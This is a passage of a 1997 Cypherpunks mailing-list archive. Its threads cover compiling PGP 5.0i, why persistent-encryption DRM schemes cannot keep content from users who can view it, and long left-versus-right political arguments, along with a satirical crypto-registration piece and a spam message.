Bennett) Date: Thu, 4 Dec 1997 13:11:36 +0800 Subject: PGP 5.0i for Windows95/NT] In-Reply-To: <348412DA.D8D@dev.null> Message-ID: <19971203.165735.12934.3.Lord_Buttmonkey@juno.com> >> PGP 5.0i for Windows95/NT source code & binary are >> available now. >> >> http://www.pgpi.com/ > > ftp://ftp.jp.pgpi.com/pub/pgp/5.0/international/win95nt/ > pgp50i-win95nt-src.zip (4,126,514 bytes) > pgp50i-win95nt.zip (2,732,657 bytes) I have a few questions for everyone. 1.) Can this be compiled with the -DUSA option (the equivalent for Win95) so it is usable in the USA? 2.) What language is it written in? 3.) Can it be compiled with Borland C++ 4.0? 4.) Does it have a convienient project file? Thanks. From whgiii at invweb.net Wed Dec 3 21:29:07 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 13:29:07 +0800 Subject: Superdistribution development/release In-Reply-To: <3.0.3.32.19971203195235.006e7318@popd.netcruiser> Message-ID: <199712040524.AAA26313@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.3.32.19971203195235.006e7318 at popd.netcruiser>, on 12/03/97 at 07:52 PM, Jonathan Wienke said: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 >At 07:27 PM 12/3/97 -0500, Robert Hettinga wrote: >>Yet Another Watermark... >[snip] >>From: "Blair Anderson" >[snip] >>Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the >>digital document (financial newsletter, educational test, minutes from a >>court proceeding, sensitive health care records, etc.) goes, no matter >>how it gets there, whether it is used and then subsequently >>redistributed, etc. the document is always encrypted. It is never left >>decrypted and exposed even while it is being viewed. >[snip] >>Metering and Enforcement (RightsClient) - Provides decryption services, >>meters use, and sends usage information to the RightsServer via secure >>middleware. >"It is never left decrypted and exposed" but the software "Provides >decryption services." Doesn't this sound oxymoronic? These guys need >help. I think the point they were trying to make was the data is not left in the clear on the storage media (this is typical marketing droids at work). For practical reason data must be in the clear in memory at some point in time. Also the data must be transferred into some type of peripheral so the user can do somthing with the data (read text off a monitor, print a document, listen to music, ...ect). This is the biggest failings in these systems. Once the user has the ability to decrypt the data the game is lost. One does not need to break the crypto system as they give you the keys with the product!! Will this prevent John doe from giving a copy of the document to a friend?? Nope as he will just give the friend the passphrase (or what ever mechanism they use) along with the copy. Will this prevent the Warez groups?? It may slow them down some but it woun't get rid of them. Will it stop commercial pirating?? HAH!! It will not even slow it down, a minor inconvenience at best. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIY+X49Co1n+aLhhAQKngwP9Eb0LH0DiLVixgF8S+GjOF8X2YPyaI0wj YctNtPKDUa76zMgZQGNVU3okcgmjSv2O09lanuA2pHAufUejHq/tJQiF423lGkqI 2bg7mUhCEPCmnYoPNpagvsvEsR2vPmnQfg9SPBzEOB5UGkVvrW8j/9Vw077zrVKv 5ZhVFWE4cAI= =FywU -----END PGP SIGNATURE----- From whgiii at invweb.net Wed Dec 3 21:29:31 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 13:29:31 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3486262E.C70FF40@cptech.org> Message-ID: <199712040507.AAA26160@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3486262E.C70FF40 at cptech.org>, on 12/03/97 at 10:40 PM, James Love said: >Now, if one sees the burning issue of the day the fight to rid the world >of government as we know it, maybe right left labels make sense. By >defining both the left and the right as groups who advocate increasing >government control over private actions, you describe what seems most >important to you. I found this characterization of "leftists" as shallow >as Declan's, however. There is no difference between the "left" and the "right" in Amerika politics other than which tit on the federal sow they wish to suck on and which "buzz" words they use in their FUD campaigns to hurd the sheeple in support of their cause celebre. The one unifying principle of these "leaders" is the acquisition of power and the using of the Federal Government to get it. It doesn't matter if it's a Tree Hugging Communist like Ralf Naider or a Religious Nut like Pat Robertson. Their agendas are the same, their modus operandi are the same, and their results are the same: They get more power, the feds get more power, and the "people" get fucked once again. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIY6VY9Co1n+aLhhAQI+0QQAnTzvENP9MvRSa3x1OZ3tFmlUeSO7VQtB 1SBcXQ2ciOg2GLJqBI7zjSrpEiIHX4dLgZVavLin9JxHlclvV7QFNl+iTnrROV4C cveCoBtL/EsaEI9wwuUYMMf7kkodhkaVdksILq8xF+Twgl541J8sXWoFMk4Jt6gc ZzZexYD/R50= =b0oD -----END PGP SIGNATURE----- From anon at anon.efga.org Wed Dec 3 21:45:42 1997 From: anon at anon.efga.org (Anonymous) Date: Thu, 4 Dec 1997 13:45:42 +0800 Subject: No Subject Message-ID: <2cbffee5893cc0ab108d748c922ffe2d@anon.efga.org> Unless there was decryption hardware in the monitor itself. Then I suppose you'd have to video the screen as each new "always encrypted" "totally secure" frame came up. > > On Wed, 3 Dec 1997, Robert Hettinga wrote: > > > > Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the > > digital document (financial newsletter, educational test, minutes from a > > court proceeding, sensitive health care records, etc.) goes, no matter > > how it gets there, whether it is used and then subsequently > > redistributed, etc. the document is always encrypted. It is never left > > decrypted and exposed even while it is being viewed. > > They have lost their mind. Since humans are notoriously bad at performing > decryptions in their head in real time, whatever is sent to the display > *must* be cleartext. Any competent programmer can grab it at that point. > > -- Lucky Green PGP v5 encrypted email preferred. > "Tonga? Where the hell is Tonga? They have Cypherpunks there?" > -- From brian at smarter.than.nu Wed Dec 3 22:04:33 1997 From: brian at smarter.than.nu (Brian W. Buchanan) Date: Thu, 4 Dec 1997 14:04:33 +0800 Subject: Superdistribution development/release In-Reply-To: <199712040524.AAA26313@users.invweb.net> Message-ID: On Wed, 3 Dec 1997, William H. Geiger III wrote: > For practical reason data must be in the clear in memory at some point in > time. Also the data must be transferred into some type of peripheral so > the user can do somthing with the data (read text off a monitor, print a > document, listen to music, ...ect). > > This is the biggest failings in these systems. Once the user has the > ability to decrypt the data the game is lost. One does not need to break > the crypto system as they give you the keys with the product!! Ut oh. Now the government is going to protect us from the new Horseman, copyright violators, by mandating diskless network computers that run only government-approved software. We can't let those awful hackers unlawfully disassemble software for the purpose of stealing other data, now can we? After all, it's for the children... and this solves that pesky strong crypto problem too. -- Brian Buchanan brian at smarter.than.nu No security through obscurity! Demand full source code! 4.4BSD for the masses - http://www.freebsd.org From declan at well.com Wed Dec 3 22:14:14 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 4 Dec 1997 14:14:14 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: Jamie correctly calls my earlier quip about "big government fetishists" a "shallow" definition of leftist. Obviously it was not meant to be serious; I didn't think Jamie wanted to explore this issue in any serious way. Based on his post below, he seems to want to have a reasonable conversation, so I owe him a reasonable response. Let me try another take on a few of the issues he raises below. COPYRIGHT: Clearly not a real left-right split. Rather a battle of different business interests. There's the content owners, the Hollywood firms and the software companies, on one side. On the other are companies like Sony that want you to be able to tape movies and the Baby Bells and ISPs that don't want to be liable for infringments. Firms like Time-Warner that own cable companies and content are somewhat split. Lefty/public interest groups joined by librarians play a role, but the corporations are the ones driving the debate. PRIVACY FROM GOVERNMENT: Lefty groups join libertarians and occasionally some right wing groups (Eagle Forum) here. Their battle is with defense/law enforcement and (largely) right-wing groups that are ideologically sympatico. This collection of right-wing groups includes police chiefs, attys general groups, and columnists like Frank "ban crypto" Gaffney from the Washington Times. We can be more precise if we break down "privacy from government" into narrower issues like wiretap, crypto, medical privacy, etc. Gets more complicated (as you note) when we're talking about balancing access to gvt info with privacy; journalist groups come down hard for access. PRIVACY FROM BUSINESSES: On government regulations designed to "protect your privacy," you'll see mostly lefties out there crying that the Direct Marketing Association is the archenemy, and AOL is the demon of cyberspace because of its privacy policies, etc. Libertarians like CEI and Cato take free-market position saying that gvt regs do more harm than good. Though conservative think tanks like Heritage are starting to become more interested in this. More a battle between lefty/public interest/privacy/pro-regulatory groups on one side and businesses/free-market groups on the other. MICROSOFT: Mostly a battle between business groups: MSFT vs. its competitors. Libertarians (CEI, Cato) and conservative thinktanks (Heritage) are opposing antitrust regulations. Lefty/"consumer" groups are all over this one, of course. Bottom line: left-right analyses don't give you all the information you need. A more complex analysis helps; fortunately, some other folks here have suggested some. Now it's time for me to go to sleep; it's too late to be writing this stuff. Hope it makes sense. -Declan At 22:40 -0500 12/3/97, James Love wrote: >Lizard, > >Don't get me wrong. I think the right left dichotomy does continues to >have meaning in some contexts, and when appropriate, it would make sense >to describe me as left (certainly by some contemporary standards). I >just don't think of this is the only way to think about what is going on >today, and for many issues that I work on day to day, it predicts next >to nothing, in terms of who supports what. Here are some examples. I >have been working on a very wide range of issues relating to >intellectual property, since 1990. I don't really see most of the >alliances on those issues well defined by a right left dichotomy. I >work on a number of privacy issues too. And I don't think anyone could >describe the alliances on privacy issues as having much to do with a >right left dichotomy. Freedom of Information and right to know issues >(Ralph Nader was the single most important actor in getting the modern >FOIA laws) have a very broad constituency. Access to government >information over the Internet? The pro-access coalition is very broad. >I work on issues relating to pricing of digital telephone services (ISDN >and various unbundling issues relating to xDSL pricing). Except for a >handful of zero government true believers, this doesn't end up being a >left right issue either. Should cable be permitted to control DBS >spectrum? Not a right left issue. Should South Africa be permitted to >import pharmacuetical drugs (parallel imports)? There are big >commerical interests lobbying on this, but I don't think of the >fundemental issues as right left. I'm certainly on the side of the CATO >institute on this one. Is Microsoft engaged in anticompetitive >practices? A hot topic, certainly, but the persons who are concerned >with Microsoft are a pretty broad coalition, in terms of traditional >ideological labels. > >Now, if one sees the burning issue of the day the fight to rid the world >of government as we know it, maybe right left labels make sense. By >defining both the left and the right as groups who advocate increasing >government control over private actions, you describe what seems most >important to you. I found this characterization of "leftists" as >shallow as Declan's, however. > > Jamie From anon at anon.efga.org Wed Dec 3 22:31:06 1997 From: anon at anon.efga.org (Anonymous) Date: Thu, 4 Dec 1997 14:31:06 +0800 Subject: Fear of a Random Planet... Message-ID: the following excerpt from tomorrow's WSJ... {snip} YELLOW C's NOW AVAILABLE... Be the first on your block to comply with HR-666/S-7, the 'Freedom and Sane Conservation in Social Technology' (FASCIST) Law, recently signed by Chancellor Clinton... As you know, new Federal Regulations require all cryptographers, both professional and amateur, to register with the State Department, surrender their passports, and sign Form 11065-R (Int'l Travel Prohibition Ban Consent Decree). The recent amnesty granted to the cryptographic community due to the shortage of YELLOW C badges ends January 1, 1998. The badges are now available at your local Post Office, Federal Building, or authorized Microsoft retailer. Remember, 'Export a Cryptographer, Go to Jail!' {/snip} love and kisses, CPL Kaos. From lizard at dnai.com Wed Dec 3 22:37:20 1997 From: lizard at dnai.com (Lizard) Date: Thu, 4 Dec 1997 14:37:20 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3486262E.C70FF40@cptech.org> Message-ID: <3.0.3.32.19971203220823.0347ca84@dnai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 01:01 AM 12/4/97 -0500, Declan McCullagh wrote: > >PRIVACY FROM GOVERNMENT: Lefty groups join libertarians and occasionally >some right wing groups (Eagle Forum) here. Their battle is with defense/law >enforcement and (largely) right-wing groups that are ideologically >sympatico. This collection of right-wing groups includes police chiefs, >attys general groups, and columnists like Frank "ban crypto" Gaffney from >the Washington Times. We can be more precise if we break down "privacy from >government" into narrower issues like wiretap, crypto, medical privacy, >etc. Gets more complicated (as you note) when we're talking about balancing >access to gvt info with privacy; journalist groups come down hard for >access. Well, this isn't entirely true. Some of the loudest voices in banning/regulating crypto come from the left:Senator Lieberman, Senator Feinstein,Rep. Dellums, the Clinton Administration in general, etc. The fear of 'bomb making information' and 'terrorist militia groups' is almost entirely a left-wing fear, one about as realistic and plausible as the 60's John Birchers fear of 'Communist insurrection' behind every middle-class loser youth who grew his hair too long or waved around (but probably never read) Mao's Little Red Book. -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIZI1jKf8mIpTvjWEQJGLACgppADJBSjr32pEdSJ3jHyCOure78AnRew ACdyp2md6/ZG9yWbuWiauNIt =fR42 -----END PGP SIGNATURE----- From whgiii at invweb.net Wed Dec 3 22:43:25 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 14:43:25 +0800 Subject: In-Reply-To: <2cbffee5893cc0ab108d748c922ffe2d@anon.efga.org> Message-ID: <199712040637.BAA27017@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <2cbffee5893cc0ab108d748c922ffe2d at anon.efga.org>, on 12/04/97 at 12:42 AM, Anonymous said: >Unless there was decryption hardware in the monitor itself. >Then I suppose you'd have to video the screen as each new "always >encrypted" "totally secure" frame came up. Naw picture quality will go all to hell. Better to tap in between the decryption hardware and the feed to the picture tube. A couple of days on the workbench and you should be able to pull the data at your leasure. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIZPdI9Co1n+aLhhAQJ+XAQAiIaFmsKaTsjDZucoclR/LIbJhnRvN/I1 RV6tllzAzrNL/yMIFLj36XXX3Ka4WiyiWwVJkhrKxALpz96lC95syNZgix8hfU1d Rj5PqzScJ2Bt9Y8yCslcBo8dPRRcymy3xVi5e/kH6FBJWJUy04/9JWxBN/i6Og03 XNMgaWp1O64= =D8Ec -----END PGP SIGNATURE----- From whgiii at invweb.net Wed Dec 3 23:15:18 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 15:15:18 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: <199712040711.CAA27313@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In , on 12/03/97 at 09:56 PM, "Brian W. Buchanan" said: >On Wed, 3 Dec 1997, William H. Geiger III wrote: >> For practical reason data must be in the clear in memory at some point in >> time. Also the data must be transferred into some type of peripheral so >> the user can do somthing with the data (read text off a monitor, print a >> document, listen to music, ...ect). >> >> This is the biggest failings in these systems. Once the user has the >> ability to decrypt the data the game is lost. One does not need to break >> the crypto system as they give you the keys with the product!! >Ut oh. Now the government is going to protect us from the new Horseman, >copyright violators, by mandating diskless network computers that run >only government-approved software. We can't let those awful hackers >unlawfully disassemble software for the purpose of stealing other data, >now can we? After all, it's for the children... and this solves that >pesky strong crypto problem too. Yep see Electronics and Computer Science added to the Evil Book Topic list: Evil Book Topic List ==================== Chemistry -- could be used by "Terrorist" Physics -- could be used by "Terrorist" Biology -- could be used by "Terrorist" Mathematics -- could be used by "Terrorist" Not to mention the fact that if you have any equipment related to any of these evil topics and you are not a state approved scientist automatically elevates you to either "terrorist" or drug manufacture if not both. Basically it is getting to the point where having an IQ greater than 100 is a crime (no doubt generated out of jealousy by those who work for the State). One has to wonder how far Edison would have gotten in times such as today. "Beware the bureaucrats as they do far more damage than all the Hitlers and Stalins combined." - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIZXXY9Co1n+aLhhAQICWwQAkVOE1sc6rTuQHQsqAhT+EnGMPLWy2KC2 +f2KS31H/apqGgOJBSUMp4iLaQQ1JG03Fc5m5SSDk+f/xhOveMZP7myroEWeyqhi sgvF7bQj4kKt7ABfdnOF4PwiWwhzijU61m3tV8S0IBO/HbrrOSFzN7/CsOqoVV1v bMAoApXiFRs= =g7NI -----END PGP SIGNATURE----- From kent at songbird.com Wed Dec 3 23:16:21 1997 From: kent at songbird.com (Kent Crispin) Date: Thu, 4 Dec 1997 15:16:21 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485F5DD.459EB83C@cptech.org> Message-ID: <19971203225059.40910@songbird.com> On Wed, Dec 03, 1997 at 06:10:32PM -0700, Jim Burnes wrote: [...] > > Multidimensional political beliefs systems don't hash into the > one dimensional left/right axis very well. The collision > rate is too high. > > For a somewhat better map at least check out the Nolan chart. > > http://www.self-gov.org/lp-quiz.shtml > > enjoy > > jim Interesting. I was absolutely dead center. Centrist Centrists favor selective government intervention and emphasize practical solutions to current problems. They tend to keep an open mind on new issues. Many centrists feel that government serves as a check on excessive liberty. Your Personal Self-Government Score is 50%. Your Economic Self-Government Score is 50%. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From JonWienk at ix.netcom.com Wed Dec 3 23:44:14 1997 From: JonWienk at ix.netcom.com (Jonathan Wienke) Date: Thu, 4 Dec 1997 15:44:14 +0800 Subject: About the way of regulating Japanese encryption export In-Reply-To: <19971204035452.2105.qmail@hotmail.com> Message-ID: <3.0.3.32.19971203223728.00695c48@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 07:54 PM 12/3/97 PST, Nobuki Nakatuji wrote: >Permission shouldn't be necessary. ( For example, in such cases as >the dealings of providing the technology of the public wisdom. ) >And, if corresponding is considered, Export permission isn't needed. What the heck is "providing the technology of the public wisdom"? -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNIZPpsJF0kXqpw3MEQKK9wCfQQWm0nd7/jpmfDagAFEyLEh86uEAoJQX eZdBv5OZ6Xoa/WR9jETrlNd3 =z419 -----END PGP SIGNATURE----- From mixmaster at remail.obscura.com Wed Dec 3 23:52:28 1997 From: mixmaster at remail.obscura.com (Mix) Date: Thu, 4 Dec 1997 15:52:28 +0800 Subject: No Subject Message-ID: <199712040732.XAA14714@sirius.infonex.com> www.borders.com: "Borders is opening new stores almost every week. If there's not one near you now, there will be soon." This is depressing. Something has to be done about "free"-market capitalism. It is as destructive as government, and built on the same lies. From whgiii at invweb.net Thu Dec 4 00:11:33 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 16:11:33 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <19971203225059.40910@songbird.com> Message-ID: <199712040753.CAA27660@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <19971203225059.40910 at songbird.com>, on 12/04/97 at 01:50 AM, Kent Crispin said: >On Wed, Dec 03, 1997 at 06:10:32PM -0700, Jim Burnes wrote: >[...] >> >> Multidimensional political beliefs systems don't hash into the >> one dimensional left/right axis very well. The collision >> rate is too high. >> >> For a somewhat better map at least check out the Nolan chart. >> >> http://www.self-gov.org/lp-quiz.shtml >> >> enjoy >> >> jim >Interesting. I was absolutely dead center. >Centrist >Centrists favor selective government intervention and emphasize >practical solutions to current problems. They >tend to keep an open mind on new issues. Many centrists feel that >government serves as a check on excessive >liberty. >Your Personal Self-Government Score is 50%. >Your Economic Self-Government Score is 50%. Your Personal Self-Government Score is 90%. Your Economic Self-Government Score is 100%. Not a big surprise there though :) - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIZhKo9Co1n+aLhhAQJjLgQAsW/hcug6Gs6+1eVAVyzXHfMZ5zhiNslB PSSbsAxIo03g39aE6DZflQ133M5BND5330FdbvcTin2IKtVSmkjV0L4+5F1g9rR/ VzW4NeWW9HOtuN6KtuEwEvHMxq4fnki6VVd5wDLs318wacTQ+x137rgOZDofjnqm x7+jVO+naAM= =EA4o -----END PGP SIGNATURE----- From zooko at xs4all.nl Thu Dec 4 01:42:46 1997 From: zooko at xs4all.nl (Zooko Journeyman) Date: Thu, 4 Dec 1997 17:42:46 +0800 Subject: words have value, for good or ill Message-ID: <199712040937.KAA10843@xs1.xs4all.nl> Anonymous wrote: > > >There's a fallacy which is quite common on this list, especially > >among members whose positions are otherwise indefensible. It's > >surprising in a way because this fallacy is more common among > >statists. > > > >There, the fallacy goes like this: if it is immoral, then it must be > >illegal. We see this all the time. People think of the government > >as their way of expressing moral values. Drugs are wrong, so they > >must be made illegal. Discrimination in employment is wrong, so it > >also must be illegal. We have countless bad laws based on this false > >premise. > > > >On this list we see the same fallacy, turned around: if it is legal, > >it must be moral. Someone is attacked for posting some vicious, > >hateful, immoral rant, and they respond that what they said was > >legal, because of freedom of speech and the First Amendment. Their > >critic must be opposed to free speech if he objects to their words. I didn't write this, but I wish I had. It is exactly correct, and well-done. If I had written I would've attached a nym in an attempt to accrue some reputation capital. (The author should e-mail me so I can credit her repcap account. :-) ) Monty Cantsin wrote: > > >Confusing what is legal and what is moral is a dangerous game. It > >leads to the false reasoning of the statists. We must remember that > >there is a clear distinction between morality and legality. > > This is a good thing to remember. However, what you seem to be > calling immoral is holding a belief with which you disagree. Actually I think we are discussing the morality of words, not of thoughts. Words are actions in my book. (ObDcashPunks: Note that the right words to the effect of "I hereby give you this cash token. Signed, Alice" _are_ the same as the action of giving the person the cash token. :-) ) > What you seem to be proposing is that Tim May (or whoever) should > refrain from expressing certain of their beliefs about the world > because they are immoral. I don't speak for Anonymous (:-)), but what _I_ propose is that the meme of "it was okay/justified/right for me to say it because it should be legal for me to say it" shall eradicated from cypherpunks discourse. The rightness of one's actions is independent from the legality of those actions. (Except, of course, that it is sometimes wise to avoid doing something illegal out of pragmatic concern for consequences.) If a cypherpunk is accused by her fellows of a wrong act, it is completely irrelevant and out of character for her to reply by stating that the act is legal. This is a such an obvious truth that I'm surprised no-one, including myself, has brought it up before Anonymous did. Regards, Zooko --- Software engineer for hire. http://www.xs4all.nl/~zooko/resume.html From whgiii at invweb.net Thu Dec 4 02:02:32 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 18:02:32 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <3485D7B7.E444A846@cptech.org> Message-ID: <199712040950.EAA28589@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3485D7B7.E444A846 at cptech.org>, on 12/03/97 at 05:05 PM, James Love said: >Declan, apparently having missed the fab 50's, seems to be enjoying his >use of the "leftist" word lately. Since this seems to mean quite >different things to different persons, perhaps Mr. McCullagh can define >his terms. What exactly is a "leftist" in 1997, in his opinion? The Left-Right paradigm is hair splitting on which topics they use in their FUD campaigns for greater power. Typical Left FUD ================ EEO Social Security Universal Health Insurance "It takes a village" Global Warming "Gay Rights" Blah, Blah, Blah Typical Right FUD ================= NAFTA GATT Family Values War on Drugs Blah, Blah, Blah Quite often camps from both the Left and the Right will come together on various issues. This can become confusing to some and blur the lines between the two. Once one gets past the FUD spread by members of both groups one realizes that both groups are STATIST and SOCIALIST. All the bickering is not over the right and wrong of Unconstitutional State intervention into the lives of the citizens but over who gets how much of the pie and who to steal the pie from. In thinking over the Libertarian Party Political diamond I find it to be quit flawed. It makes the false assumption that state intervention in personal matters is independent from state intervention in economic matters. The two go hand in hand. I consider the following a better representation: C G D P R L Statist -|---|--|-|-|----------------------------|--------- Anarchist N D=Democrat R=Republican L=Libertarian G=Green P=Perot C=Russin/Chineese Communism N=German/Italian/Japanese Fascism Positioning on the graph represents current party leadership philosophy. Since these groups philosophies are so close you will find individual members that will fall on either side of the parties plank but will rarely fall very far away from it. An intriguing side note: Libertarian != Anarchist. This is a distinction that several members of this list have missed. Most Libertarians favor a limited government kept on a short leash but are unwilling to go as far as the anarchy of mob rule. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIZ8lY9Co1n+aLhhAQKRBgQAzGjCsC4kfN/rPxZPGXtFVFhQWzUdi4O+ W1rDf/gXs4zCYRT1g3Rw4Op9cRBivgZe8YtnFJa3JdB8HqD3rKqPwjPIw2AvbDE3 IOEkUkDqpsQBfKKx1/+uEFZfOZB6pAqKpA+dP6LxySNXy067F4y2bBCDVYbdBhVq aIydEowN5f0= =3+f/ -----END PGP SIGNATURE----- From BrownList at GOPLAY.COM Thu Dec 4 02:37:00 1997 From: BrownList at GOPLAY.COM (BrownList at GOPLAY.COM) Date: Thu, 4 Dec 1997 18:37:00 +0800 Subject: Brown != Blue Message-ID: <199712041024.FAA10743@www.video-collage.com> Giving you a BROWN reason to complain. Get busy. This BrownList is harder to find. From webbiz at MCI2000.com Thu Dec 4 18:50:03 1997 From: webbiz at MCI2000.com (webbiz at MCI2000.com) Date: Thu, 4 Dec 1997 18:50:03 -0800 (PST) Subject: [Fwd: Please Read This!] Message-ID: <01IQSHNLVQO6004GW1@MAIL-RELAY.PCY.MCI.NET> P*L*E*A*S*E Do NOT Delete This Message! Hi, Just wanted to pass along some info about that I now call my "secret weapon". It's amazing! Listen to this... Myself and hundreds of others can now reach "millions of potential customers" absolutely FREE! A lot of us are creating immediate "cash flow explosions" literally overnight! And blowing our competition right out of the water! You have to check this thing out. To get some details, all you have to do is go to the web address below. Take care. I'll talk with you later. Bill Go to http://www.insider-secrets.com/home.html This is NOT wild spam! If you do not want this information and wish to be placed on a global remove list put "remove" in the subject box and mailto:hotline at insider-secrets.com From whgiii at invweb.net Thu Dec 4 03:17:02 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Thu, 4 Dec 1997 19:17:02 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <199712041107.GAA29227@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In , on 12/03/97 at 06:10 PM, Jim Burnes said: >On Wed, 3 Dec 1997, James Love wrote: >> Declan McCullagh wrote: >> > >> > Jamie, if you're seriously confused about the differences between >> > left-wing and right-wing groups I can help educate you, perhaps with a few >> > rules of thumb. But I suspect that you really don't want a serious answer. >> >> I didn't think the big government fetish answer was very good. I >> don't want to put words in your mouth. But if you think you can really >> explain what constitutes a leftist, in your view, I'm ready to read it. >> >> Jamie >Man! Talk about burning bandwidth on politics 101. The problem is that >you're both stuck using Orwellian newspeak for political classification. >If people only have a single dimension to >classify political beliefs then there can't be very many >beliefs. >Multidimensional political beliefs systems don't hash into the one >dimensional left/right axis very well. The collision rate is too high. >For a somewhat better map at least check out the Nolan chart. >http://www.self-gov.org/lp-quiz.shtml As I stated in my previous post the Nolan chart is flawed. In it's attempts to be "two-dimensional" it artificially separates interdependent philosophies. Economic Freedom = Personal Freedom. You can not have one without the other. The major failings of the socialist is their unwillingness to accept this fact. A free society can not survive under a socialist regime any more that a totalitarian society can survive under a capitalist one. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIaOmY9Co1n+aLhhAQIQSgP/apwzqHaQ6IZUfHCstIZW8erxWTNFkNn6 FD33wSoFDs0Af9G6GL9bp1JgtE2GbSlkUqpCtPGhOm63Hv4CVBN/NACpVhNwWZfj YoS5BnbFTiSk1hDYOAEaQRkM9KA11YWxsBV6nNPqvIIdVMSBTBY9uUbJBqgkNGye BwKDPxAEmM8= =954+ -----END PGP SIGNATURE----- From holovacs at idt.net Thu Dec 4 03:56:57 1997 From: holovacs at idt.net (Jay Holovacs) Date: Thu, 4 Dec 1997 19:56:57 +0800 Subject: Censorial leftists (Was: Interesting article) Message-ID: <1.5.4.32.19971204114530.006ef8dc@idt.net> At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote: > >Libertarians are self-governors in both personal and economic matters. >They believe government's only purpose is to protect people from coercion >and violence. They value individual responsibility, and tolerate economic >and social diversity. > Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my wife's vote when his own ads portrayed him as anti choice. Several members of the religious right also call 